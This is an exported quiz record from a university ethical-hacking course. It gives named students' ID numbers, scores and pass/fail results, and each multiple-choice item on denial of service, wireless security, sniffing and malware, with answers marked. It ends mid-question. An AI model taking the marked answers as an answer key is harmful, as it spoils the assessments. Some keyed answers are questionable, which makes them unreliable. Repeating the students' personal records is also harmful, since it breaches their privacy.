13 S	5.000	281473913984532	14:00:55	14:01:49	00:54	53.678

In a DoS attack, attacker flood a victim system with non-legitimate traffic to ... its resources.

	1	Gaining access to
+	2	Overload
	3	Port access
	4	Escalating privilege

14 S	5.000	281473913984532	14:01:49	14:02:58	01:09	68.849

Which of the following is true of the wireless Service Set ID (SSID)?

	1	Must be same with WEP key
	2	Should be left at the factory default setting

	3	Not broadcasting the SSID defeats NetStumbler and other wireless discovery tools
+	4	Identifies the wireless network

15 S	0.000	281473913984532	14:02:58	14:04:19	01:21	81.015

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data. The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because all traffic is clear text, even when encrypted
-	2	Because wireless traffic uses only UDP which is easier to sniff
	3	Because wireless access points act like hubs on a network
	4	Because wireless networks can't enable encryption

16 S	5.000	281473913984532	14:04:19	14:05:26	01:07	67.012

These are various attack techniques to perform a DoS Attack, **except** ...

+	1	XSS attack
	2	Bandwidth attack
	3	Service request flood
	4	SYN flooding attack

17 S	0.000	281473913984532	14:05:26	14:07:19	01:53	113.098

These are tools for Denial of Service attack, **except** ...

	1	HOIC
	2	KFSensor
-	3	hping3
	4	Metasploit

18 S	0.000	281473913984532	14:07:19	14:08:14	00:55	55.013

In order to attack a wireless network, you put up an access point and override the signal of the real access point. As users send authentication data, you are able to capture it.

What kind of attack is this?

	1	War Chalking
-	2	WEP attack
	3	Rouge access point attack
	4	Unauthorized access point attack

19 S	5.000	281473913984532	14:08:14	14:08:21	00:07	6.205

Sandra is conducting a penetration test for a company. She knows that this company is using wireless networking for some of the offices in the building right down the street. Through social engineering she discovers that they are using 802.11g. Sandra knows that 802.11g uses the same 2.4GHz frequency range as 802.11b. Using NetStumbler and her 802.11b wireless NIC, Sandra drives over to the building to map the wireless networks. However, even though she repositions herself around the building several times, Sandra is not able to get any SSID from several detected APs.

What do you think is the reason behind this?

	1	Netstumbler does not work against 802.11g.
+	2	The access points probably have disabled broadcasting of the SSID so they cannot be detected.
	3	The access points probably have WEP enabled so they cannot be detected.
	4	You can only pick up 802.11g signals with 802.11a wireless cards.

20 S	5.000	281473913984532	14:08:21	14:08:44	00:23	23.377

... attack is one in which a multitude of the compromised systems attack a single target, thereby causing denial of service for users of the targeted system.

	1	Ping Sweep
	2	Port Scanning
+	3	Distributed Denial of Service
	4	Sniffing

School name
first row
second row
third row

test: Kuis-02 EH2-A (Reg Genap 2016-2017)

surname:	1472031
name:	SRI INTAN NANDIKA
user:	1472031
start time:	2017-02-27 13:38:10
end time:	2017-02-27 14:06:33
time:	00:28:23
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**60.000 / 100.000 (60%) - NOT PASSED**

Kuis-02 EH2-A (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]

1 S	0.000	281473913984528	13:38:10	13:39:21	01:11	70.523

In order to attack a wireless network, you put up an access point and override the signal of the real access point. As users send authentication data, you are able to capture it.

What kind of attack is this?

	1	War Chalking
-	2	WEP attack
	3	Rouge access point attack
	4	Unauthorized access point attack

2 S	0.000	281473913984528	13:39:21	13:59:58	20:37	78.992

WEP is used on 802.11 networks, what was it designed for?

	1	WEP is designed to provide a wireless local area network (WLAN) with a level of privacy comparable to what it usually expected of a wired LAN.
-	2	WEP is designed to provide a wireless local area network (WLAN) with a level of availability and privacy comparable to what is usually expected of a wired LAN.
	3	WEP is designed to provide a wireless local area network (WLAN) with a level of security and privacy comparable to what it usually expected of a wired LAN.
	4	WEP is designed to provide strong encryption to a wireless local area network (WLAN) with a lever of integrity and privacy adequate for sensible but unclassified information.

3 S	5.000	281473913984528	13:40:07	14:00:42	20:35	44.074

In an attempt to secure his wireless network, Bob change the default SSID and also turns off broadcasting of the SSID. He concludes that since his access points require the client computer to have the proper SSID, it would prevent others from connecting to the wireless network. Unfortunately unauthorized users are still able to connect to the wireless network.

Why do you think this is possible?

+	1	The SSID is still sent in plain text between client and AP
	2	Bob forgot to turn off DHCP
	3	All access points are shipped with a default SSID
	4	Bob's solution only works in ad-hoc mode

4 S	0.000	281473913984528	13:40:59	13:44:03	03:04	184.461

These are tools for Denial of Service attack, **except** ...

	1	KFSensor
	2	HOIC
	3	Metasploit
-	4	hping3

5 S	0.000	281473913984528	13:44:03	14:03:28	19:25	108.258

Sandra is conducting a penetration test for a company. She knows that this company is using wireless networking for some of the offices in the building right down the street. Through social engineering she discovers that they are using 802.11g. Sandra knows that 802.11g uses the same 2.4GHz frequency range as 802.11b. Using NetStumbler and her 802.11b wireless NIC, Sandra drives over to the building to map the wireless networks. However, even though she repositions herself around the building several times, Sandra is not able to get any SSID from several detected APs.

What do you think is the reason behind this?

-	1	The access points probably have WEP enabled so they cannot be detected.
	2	You can only pick up 802.11g signals with 802.11a wireless cards.
	3	Netstumbler does not work against 802.11g.
	4	The access points probably have disabled broadcasting of the SSID so they cannot be detected.

6 S	5.000	281473913984528	13:44:08	13:44:31	00:23	23.092

... is an attack on computer or network that prevents legitimate use of its resources.

	1	SQL Injection
	2	Port Scanning
+	3	Denial of Service

	4	XSS

7 S	0.000	281473913984528	13:44:31	14:04:33	20:02	64.146

Access control is often implemented through the use of MAC address filtering on wireless Access Points.

Why is this considered to be a very limited security measure?

	1	The MAC address is broadcasted and can be captured by a sniffer.
	2	The MAC address is used properly only on Macintosh computers.
-	3	The MAC address is not a real random number.
	4	Vendors MAC address assignment is published on the Internet.

8 S	5.000	281473913984528	13:46:05	13:46:55	00:50	50.374

A method that uses a list of MAC addresses of client wireless interface cards that are allowed to associated with the access point is knowned as ...

	1	MAC Sanityzer
+	2	MAC Filter
	3	MAC Sniffing
	4	MAC Spoofing

9 S	0.000	281473913984528	13:46:55	13:48:00	01:05	64.701

... is a tool that can be used to break the WEP encryption key.

	1	airSniff
	2	airHack
-	3	airoDump
	4	airCrack

10 S	0.000	281473913984528	13:48:00	14:05:19	17:19	43.701

In an attempt to secure his 802.11b wireless network, Bob decides to use strategic antenna positioning. He places the antenna for the access point near the center of the building. For those access points near the outer edge of the building he uses semi-directional antennas that face towards the buildings center. There is a large parking lot and outlying filed surrounding the building that extends out half a mile around the building. Bob figures that with this and his placement of antennas, his wireless network will be safe from attack.

Which of he following statements is true?

	1	Bob's network will be sage but only if he doesn't switch to 802.11a
	2	With the 300-foot limit of a wireless signal, Bob's network is safe
-	3	Bob's network will not be safe until he also enables WEP
	4	Wireless signals can be detected from miles away; Bob's network is not safe

11 S	5.000	281473913984528	13:48:03	13:50:23	02:20	140.018

... attack is one in which a multitude of the compromised systems attack a single target, thereby causing denial of service for users of the targeted system.

	1	Ping Sweep
+	2	Distributed Denial of Service
	3	Sniffing
	4	Port Scanning

12 S	5.000	281473913984528	13:50:23	14:05:45	15:22	24.958

Paul has just finished setting up his wireless network. He has enabled numerous security features such as changing the default SSID, enabling WPA encryption and enabling MAC filtering on hi wireless router. Paul notices when he uses his wireless connection, the speed is sometimes 54 Mbps and sometimes it is only 24mbps or less. Paul connects to his wireless router's management utility and notices that a machine with an unfamiliar name is connected through his wireless connection. Paul checks the router's logs and notices that the unfamiliar machine has the same MAC address as his laptop.

What is Paul seeing here?

	1	DNS Spoofing
	2	Macof
	3	ARP Spoofing
+	4	MAC Spoofing

13 S	5.000	281473913984528	13:50:28	13:53:02	02:34	154.707

Samuel is high school teenager who lives in Modesto California. Samuel is a straight 'A' student who really likes tinkering around with computers and other types of electronic devices. Samuel just received a new laptop for his birthday and has been configuring it ever since. While tweaking the registry, Samuel notices a pop up at the bottom of his screen stating that his computer was now connected to a wireless network. All of a sudden, he was able to get online and surf the Internet.

Samuel did some quick research and was able to gain access to the wireless router he was connecting to and see al of its settings? Being able to hop onto someone else's wireless network so easily fascinated Samuel so he began doing more and more research on wireless technologies and how to exploit them. The next day Samuel's fried said that he could drive around all over town and pick up hundred of wireless networks. This really excited Samuel so they got into his friend's car and drove around the city seeing which networks they could connect to and which ones they could not.

What has Samuel and his friend just performed?

	1	Webdriving
	2	Warchalking
	3	Warwalking
+	4	Wardriving

14 S	5.000		281473913984528	13:53:02	13:55:23	02:21	140.132
	These are various attack techniques to perform a DoS Attack, **except** ...						
		1	SYN flooding attack				
		2	Service request flood				
	+	3	XSS attack				
		4	Bandwidth attack				

15 S	5.000		281473913984528	13:55:23	13:55:50	00:27	26.973
	DoS detection techniques are based on identifying and discriminating ...						
		1	The legitimate traffic increase				
		2	The illegitimate traffic decrease				
	+	3	The illegitimate traffic increase				
		4	The legitimate traffic decrease				

16 S	5.000		281473913984528	13:55:50	14:06:16	10:26	26.485
	Which of the following is true of the wireless Service Set ID (SSID)?						
		1	Not broadcasting the SSID defeats NetStumbler and other wireless discovery tools				
		2	Must be same with WEP key				
		3	Should be left at the factory default setting				
	+	4	Identifies the wireless network				

17 S	5.000		281473913984528	13:56:40	14:06:25	09:45	8.701
	Matthew re-injects a captured wireless packet back onto the network. He does this hundreds of times within a second. The packet is correctly encrypted and Matthew assumes it is an ARP request packet. The wireless host responds with a stream of responses, all individually encrypted with different IVs. What is this attack most appropriately called?						
		1	Injection attack				
		2	Rebound attack				
		3	Spoof attack				
	+	4	Replay attack				

18 S	0.000		281473913984528	13:56:57	14:06:33	09:36	8.438
	While probing an organization you discover that they have a wireless network. From your attempts to connect to the WLAN you determine that they have deployed MAC filtering by using ACL on the access points. What would be the easiest way to circumvent and communicate on the WLAN?						
		1	Steal a client computer and use it to access the wireless network.				
		2	Sniff traffic if the WLAN and spoof your MAC address to one that you captured.				
	-	3	Attempt to crack the WEP key using Airsnort.				
		4	Attempt to brute force the access point and update or delete the MAC ACL.				

19 S	5.000		281473913984528	13:57:01	13:57:29	00:28	27.602
	To launch a DDoS attack, an attacker uses ... and attacks a single system.						
		1	Fuzzer				
		2	Scanner				
		3	Firewall				
	+	4	Botnets				

20 S	5.000		281473913984528	13:57:29	13:58:09	00:40	40.344
	In a DoS attack, attacker flood a victim system with non-legitimate traffic to ... its resources.						
		1	Gaining access to				
	+	2	Overload				
		3	Escalating privilege				
		4	Port access				

School name
first row
second row
third row

test: Kuis-02 EH2-A (Reg Genap 2016-2017)

surname:	1472034
name:	WILLIAM SILVANUS
user:	1472034
start time:	2017-02-27 13:38:11
end time:	2017-02-27 14:02:28
time:	00:24:17
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**80.000 / 100.000 (80%) - PASSED**

Kuis-02 EH2-A (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	5.000	281473913984516	13:38:11	13:39:08	00:57	57.179

In an attempt to secure his wireless network, Bob change the default SSID and also turns off broadcasting of the SSID. He concludes that since his access points require the client computer to have the proper SSID, it would prevent others from connecting to the wireless network. Unfortunately unauthorized users are still able to connect to the wireless network.

Why do you think this is possible?

+	1	The SSID is still sent in plain text between client and AP
	2	Bob forgot to turn off DHCP
	3	All access points are shipped with a default SSID
	4	Bob's solution only works in ad-hoc mode

2 S	5.000	281473913984516	13:39:09	13:39:38	00:29	28.952

In a DoS attack, attacker flood a victim system with non-legitimate traffic to ... its resources.

	1	Port access
	2	Gaining access to
+	3	Overload
	4	Escalating privilege

3 S	5.000	281473913984516	13:39:49	13:42:03	02:14	67.414

You come across a WiFi network in your neighborhood. You pull up your hardware WiFi sniffer from your car and tune into 802.11a network to sniff the Wireless traffic for sensitive data.

What frequency will you tune the Wireless hardware device to?

	1	900MHz-2.462 GHz
+	2	5.15-5.825 GHz
	3	2.412-2.462 GHz
	4	2.323-2.462 GHz

4 S	0.000	281473913984516	13:40:39	13:44:11	03:32	127.343

In an attempt to secure his 802.11b wireless network, Bob decides to use strategic antenna positioning. He places the antenna for the access point near the center of the building. For those access points near the outer edge of the building he uses semi-directional antennas that face towards the buildings center. There is a large parking lot and outlying filed surrounding the building that extends out half a mile around the building. Bob figures that with this and his placement of antennas, his wireless network will be safe from attack.

Which of he following statements is true?

	1	Wireless signals can be detected from miles away; Bob's network is not safe
	2	With the 300-foot limit of a wireless signal, Bob's network is safe
	3	Bob's network will be sage but only if he doesn't switch to 802.11a
-	4	Bob's network will not be safe until he also enables WEP

5 S	5.000	281473913984516	13:44:11	13:45:08	00:57	56.179

While probing an organization you discover that they have a wireless network. From your attempts to connect to the WLAN you determine that they have deployed MAC filtering by using ACL on the access points.

What would be the easiest way to circumvent and communicate on the WLAN?

	1	Attempt to brute force the access point and update or delete the MAC ACL.
	2	Steal a client computer and use it to access the wireless network.
+	3	Sniff traffic if the WLAN and spoof your MAC address to one that you captured.
	4	Attempt to crack the WEP key using Airsnort.

6 S	5.000	281473913984516	13:45:08	13:45:31	00:23	21.911

A method that uses a list of MAC addresses of client wireless interface cards that are allowed to associated with the access point is knowned as ...

+	1	MAC Filter
	2	MAC Sanityzer
	3	MAC Sniffing
	4	MAC Spoofing

7 S	5.000	281473913984516	13:45:31	13:46:29	00:58	57.795

... attack is one in which a multitude of the compromised systems attack a single target, thereby causing denial of service for users of the targeted system.

	1	Port Scanning
	2	Sniffing
+	3	Distributed Denial of Service
	4	Ping Sweep

8 S	5.000	281473913984516	13:46:30	13:47:00	00:30	29.741

Which of the following is true of the wireless Service Set ID (SSID)?

	1	Should be left at the factory default setting
	2	Must be same with WEP key
	3	Not broadcasting the SSID defeats NetStumbler and other wireless discovery tools
+	4	Identifies the wireless network

9 S	5.000	281473913984516	13:47:01	13:47:18	00:17	17.615

... is a tool that can be used to break the WEP encryption key.

	1	airHack
	2	airSniff
	3	airoDump
+	4	airCrack

10 S	5.000	281473913984516	13:47:20	13:50:26	03:06	186.378

Sandra is conducting a penetration test for a company. She knows that this company is using wireless networking for some of the offices in the building right down the street. Through social engineering she discovers that they are using 802.11g. Sandra knows that 802.11g uses the same 2.4GHz frequency range as 802.11b. Using NetStumbler and her 802.11b wireless NIC, Sandra drives over to the building to map the wireless networks. However, even though she repositions herself around the building several times, Sandra is not able to get any SSID from several detected APs.

What do you think is the reason behind this?

	1	Netstumbler does not work against 802.11g.
+	2	The access points probably have disabled broadcasting of the SSID so they cannot be detected.
	3	The access points probably have WEP enabled so they cannot be detected.
	4	You can only pick up 802.11g signals with 802.11a wireless cards.

11 S	5.000	281473913984516	13:50:39	13:50:50	00:11	11.053

... is an attack on computer or network that prevents legitimate use of its resources.

	1	XSS
+	2	Denial of Service
	3	SQL Injection
	4	Port Scanning

12 S	5.000	281473913984516	13:50:50	13:51:46	00:56	55.743

To launch a DDoS attack, an attacker uses ... and attacks a single system.

	1	Firewall
	2	Fuzzer
	3	Scanner
+	4	Botnets

13 S	0.000	281473913984516	13:51:46	13:54:02	02:16	136.508

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data. The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because wireless traffic uses only UDP which is easier to sniff
-	2	Because all traffic is clear text, even when encrypted
	3	Because wireless networks can't enable encryption
	4	Because wireless access points act like hubs on a network

14 S	5.000	281473913984516	13:54:03	13:54:55	00:52	51.848

These are various attack techniques to perform a DoS Attack, **except** ...

	1	Bandwidth attack
+	2	XSS attack
	3	Service request flood
	4	SYN flooding attack

15 S	5.000	281473913984516	13:54:55	13:55:35	00:40	39.68

Paul has just finished setting up his wireless network. He has enabled numerous security features such as changing the default SSID, enabling WPA encryption and enabling MAC filtering on hi wireless router. Paul notices when he uses his wireless connection, the speed is sometimes 54 Mbps and sometimes it is only 24mbps or less. Paul connects to his wireless router's management utility and notices that a machine with an unfamiliar name is connected through his wireless connection. Paul checks the router's logs and notices that the unfamiliar machine has the same MAC address as his laptop.

What is Paul seeing here?

	1	ARP Spoofing
	2	DNS Spoofing
+	3	MAC Spoofing
	4	Macof

16 S	0.000	281473913984516	13:55:36	13:56:00	00:24	23.907

DoS detection techniques are based on identifying and discriminating ...

-	1	The legitimate traffic increase
	2	The illegitimate traffic increase
	3	The illegitimate traffic decrease
	4	The legitimate traffic decrease

17 S	5.000	281473913984516	13:56:00	13:58:14	02:14	133.448

WEP is used on 802.11 networks, what was it designed for?

	1	WEP is designed to provide strong encryption to a wireless local area network (WLAN) with a lever of integrity and privacy adequate for sensible but unclassified information.
	2	WEP is designed to provide a wireless local area network (WLAN) with a level of privacy comparable to what it usually expected of a wired LAN.
+	3	WEP is designed to provide a wireless local area network (WLAN) with a level of security and privacy comparable to what it usually expected of a wired LAN.
	4	WEP is designed to provide a wireless local area network (WLAN) with a level of availability and privacy comparable to what is usually expected of a wired LAN.

18 S	5.000	281473913984516	13:58:15	14:00:27	02:12	131.917

Access control is often implemented through the use of MAC address filtering on wireless Access Points.

Why is this considered to be a very limited security measure?

	1	The MAC address is used properly only on Macintosh computers.
	2	Vendors MAC address assignment is published on the Internet.
+	3	The MAC address is broadcasted and can be captured by a sniffer.
	4	The MAC address is not a real random number.

19 S	0.000	281473913984516	14:00:28	14:00:59	00:31	12.282

What is one of the primary factors that driven the popularity of wireless network ?

	1	Confidentiality
-	2	Speed
	3	Security
	4	Convenience

20 S	5.000	281473913984516	14:01:00	14:02:28	01:28	87.554

These are tools for Denial of Service attack, **except** ...

	1	HOIC
+	2	KFSensor
	3	hping3
	4	Metasploit

School name
first row
second row
third row

test: (Reg Genap 2018-2019) EH2-A: Kuis-01

surname:	1672039
name:	ANDRIANUS ALVIEN
user:	1672039
start time:	2019-02-13 13:15:58
end time:	2019-02-13 13:54:21
time:	00:38:23
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**84.000 / 100.000 (84%) - PASSED**

(Reg Genap 2018-2019) EH2-A: Kuis-01

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	4.000	281473913984523	13:15:58	13:16:23	00:25	25.099

... is a technique for active sniffing.

	1	Broadcast flooding
	2	MAC sniffing
	3	IP spoofing
+	4	ARP spoofing

2 S	4.000	281473913984523	13:16:23	13:19:37	03:14	178.861

.. are malicious pieces of code that carry cracker software to a target system.

+	1	Trojans
	2	Antivirus
	3	Firewall
	4	Overt

3 S	0.000	281473913984523	13:19:37	13:21:36	01:59	119.372

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

	1	ifconfig -s
	2	ipconfig -a
-	3	route print
	4	netstat -an

4 S	4.000	281473913984523	13:21:36	13:22:52	01:16	75.792

... are distinguished from viruses by the fact that a virus requires some form of the human intervention to infect a computer, whereas it doesn't.

	1	Hoax
	2	Trojan
	3	Pranks
+	4	Worms

5 S	4.000	281473913984523	13:22:52	13:24:59	02:07	126.922

Which method is the most difficult to detect ?

	1	Active sniffing
+	2	Passive sniffing
	3	Agressive sniffing
	4	Silent sniffing

6 S	4.000	281473913984523	13:24:59	13:26:28	01:29	88.944

What is sniffer?

+	1	A program or device that captures the information from the network traffic
	2	Person who hack the network
	3	A server that send continuous packet to a victim
	4	A computer that distributes fake MAC address

7 S	0.000	281473913984523	13:26:28	13:30:17	03:49	228.892

What is sniffing ?

	1	Cracking Method
	2	Data Interception Technology
	3	Password Generator
-	4	Hacking Method

8 S	0.000	281473913984523	13:30:17	13:30:52	00:35	35.187

ARP is the name of a protocol that convert an ... to MAC Address.

	1	Web Address
	2	Domain Address
	3	IP Address
-	4	MCA Address

9 S	4.000	281473913984523	13:30:52	13:31:32	00:40	39.828

You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open.

What is the next step you would do?

	1	Re-run anti-virus software.
	2	Install and run Trojan removal software.
	3	Re-install the operating system.
+	4	Run utility CurrPorts and look for the application executable that listens on port 6666.

10 S	4.000	281473913984523	13:31:32	13:33:16	01:44	104.01

Sniffing that conducted through a switch can be categorized as ...

	1	Passive sniffing
+	2	Active sniffing
	3	Silent sniffing
	4	Agressive sniffing

11 S	4.000	281473913984523	13:33:16	13:33:51	00:35	13.463

Sniffing that conducted through a hub can be categorized as ...

	1	Silent sniffing
	2	Active sniffing
	3	Agressive sniffing
+	4	Passive sniffing

12 S	4.000	281473913984523	13:33:51	13:34:40	00:49	48.84

... is a channel that transfers information within a computer system, or network, in a way that violates security policy.

+	1	Covert Channel
	2	Overt Channel
	3	Trojan Channel
	4	Backdoor Channel

13 S	0.000	281473913984523	13:34:40	13:35:20	00:40	39.542

... trojan starts a hidden proxy server on the victim's computer.

	1	FTP
	2	Destructive
-	3	Remote Access
	4	Proxy server

14 S	4.000	281473913984523	13:35:20	13:36:28	01:08	68.473

MAC flooding is method that force a ... to act or work as a hub.

	1	Router
	2	Hub
+	3	Switch
	4	Access Point

15 S	4.000	281473913984523	13:36:28	13:38:20	01:52	111.97

In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.

	1	Good
+	2	Careless
	3	Careful
	4	Aware

16 S	4.000	281473913984523	13:38:20	13:43:43	05:23	322.672

... trojan will destroys operating system when executed.

+	1	Destructive
	2	Remote access
	3	DoS Attack
	4	Data-Sending

17 S	4.000	281473913984523	13:43:43	13:52:52	09:09	183.962

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

+	1	Research projects
	2	Cryptographic
	3	Spoofing
	4	Firmware

18 S	4.000	281473913984523	13:52:52	13:53:03	00:11	11.143

... combines two programs into single file, usually used to hide trojan.

	1	A router
	2	An attacker
+	3	A wrapper
	4	A firewall

19 S	4.000	281473913984523	13:53:03	13:53:22	00:19	18.488

June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs.

Can June use an antivirus program in this case and would it be effective against a polymorphic virus?

	1	No. June can't use an antivirus program since it compares the size of executable files to the database of known viral signatures and it is effective on a polymorphic virus
	2	Yes. June can use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and it is very effective against a polymorphic virus
+	3	No. June can't use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and in the case the polymorphic viruses cannot be detected by a signature-based anti-virus program
	4	Yes. June can use an antivirus program since it compares the parity bit of executable files to the database of known check sum counts and it is effective on a polymorphic virus

20 S	4.000	281473913984523	13:53:22	13:53:32	00:10	10.135

You receive an e-mail with the following text message. "Microsoft and AOL today warned all customers that a new, highly dangerous virus has been discovered which will erase all your files at midnight. If there's a file called hidserv.exe on your computer, you have been infected and your computer is now running a hidden server that allows hackers to access your computer.
Delete the file immediately. Please also pass this message to all your friends and colleagues as soon as possible."
You launch your antivirus software and scan the suspicious looking file hidserv.exe located in c:\windows directory and the AV comes out clean meaning the file is not infected.
You view the file signature and confirm that it is a legitimate Windows system file "Human Interface Device Service".

What category of virus is this?

	1	Stealth Virus
	2	Spooky Virus
+	3	Virus hoax
	4	Polymorphic Virus

21 S	4.000	281473913984523	13:53:32	13:53:42	00:10	10.346

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because all traffic is clear text, even when encrypted
	2	Because wireless traffic uses only UDP which is easier to sniff
	3	Because wireless networks can't enable encryption
+	4	Because wireless access points act like hubs on a network

22 S	4.000	281473913984523	13:53:42	13:53:50	00:08	7.798

Most viruses operate in two phases, Infection Phase and ...

+	1	Attack Phase
	2	Breeding Phase
	3	Local Phase
	4	Defend Phase

23 S	4.000	281473913984523	13:53:50	13:54:00	00:10	9.608

Trojans are used primarily to Gain and ... on the target system.

+	1	Retain access
	2	Defend
	3	Obtain
	4	Destroy

24 S	4.000	281473913984523	13:54:00	13:54:11	00:11	10.731

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Over Channel
	2	Proxy Server
+	3	ICMP Tunneling
	4	Destructive Trojan

25 S	4.000	281473913984523	13:54:11	13:54:21	00:10	9.776

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

	1	Conduct MiTM against the switch
	2	Flood switch with ICMP packets
	3	Launch smurf attack against the switch
+	4	ARP spoof the default gateway

School name
first row
second row
third row

test: (Reg Genap 2018-2019) EH2-A: Kuis-01b

surname:	1672039
name:	ANDRIANUS ALVIEN
user:	1672039
start time:	2019-02-13 13:55:15
end time:	2019-02-13 14:12:30
time:	00:17:15
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**75.000 / 100.000 (75%) - PASSED**

(Reg Genap 2018-2019) EH2-A: Kuis-01b

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	6.250	281473913984523	13:55:15	14:01:40	06:25	53.675

A hacker has successfully infected an internet-facing server which he will then use to send junk mail, take part in coordinated attacks, or host junk email content.

Which sort of trojan infects this server?

	1	Banking Trojans
	2	Turtle Trojans
	3	Ransomware Trojans
+	4	Botnet Trojan

2 S	0.000	281473913984523	13:55:33	14:01:59	06:26	13.827

Which of the following statements is TRUE?

-	1	Sniffers operate on Layer 2 of the OSI model
	2	Sniffers operate on both Layer 2 & Layer 3 of the OSI model
	3	Sniffers operate on Layer 3 of the OSI model
	4	Sniffers operate on the Layer 1 of the OSI model

3 S	6.250	281473913984523	14:01:59	14:03:09	01:10	69.682

It is a kind of malware (malicious software) that criminals install on your computer so they can lock it from a remote location. This malware generates a pop-up window, webpage, or email warning from what looks like an official authority. It explains that your computer has been locked because of possible illegal activities on it and demands payment before you can access your files and program again. Which of the following terms best matches the definition?

+	1	Ransomware
	2	Spyware
	3	Riskware
	4	Adware

4 S	6.250	281473913984523	14:03:09	14:03:22	00:13	12.661

Which of the following is a command line packet analyzer similar to GUI-based Wireshark?

	1	ethereal
+	2	tcpdump
	3	Jack the ripper
	4	nessus

5 S	0.000	281473913984523	14:03:22	14:04:37	01:15	75.525

Which of the following describes the characteristics of a Boot Sector Virus?

	1	Modifies directory table entries so that directory entries point to the virus code instead of the actual program.
	2	Overwrites the original MBR and only executes the new virus code.
	3	Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR.
-	4	Moves the MBR to another location on the RAM and copies itself to the original location of the MBR.

6 S	6.250	281473913984523	14:04:37	14:04:52	00:15	14.824

Jesse receives an email with an attachment labeled “Court_Notice_21206.zip”. Inside the zip file is a file named “Court_Notice_21206.docx.exe” disguised as a word document. Upon execution, a window appears stating, “This word document is corrupt.” In the background, the file copies itself to Jesse’s APPDATA\local directory and begins to beacon to a C2 server to download additional malicious binaries.
What type of malware has Jesse encountered?

	1	Worm
	2	Key-logger
+	3	Trojan
	4	Macro Virus

7 S	6.250	281473913984523	14:04:52	14:06:18	01:26	85.61

An attacker is trying to redirect the traffic of a small office. That office is using their own mail server, DNS server and NTP server because of the importance of their job. The attacker gain access to the DNS server and redirect the direction www.google.com to his own IP address. Now when the employees of the office wants to go to Google they are being redirected to the attacker machine. What is the name of this kind of attack?

	1	Smurf Attack
	2	MAC Flooding

	3	ARP Poisoning
+	4	DNS spoofing

8 S	6.250	281473913984523	14:06:18	14:06:34	00:16	16.388

As an Ethical Hacker you are capturing traffic from your customer network with Wireshark and you need to find and verify just SMTP traffic. What command in Wireshark will help you to find this kind of traffic?

	1	smtp port
	2	tcp.contains port 25
	3	request smtp 25
+	4	tcp.port eq 25

9 S	6.250	281473913984523	14:06:34	14:06:58	00:24	23.839

_____ Is a set of extensions to DNS that provide to DNS clients (resolvers) origin authentication of DNS data to reduce the threat of DNS poisoning, spoofing, and similar attacks types.

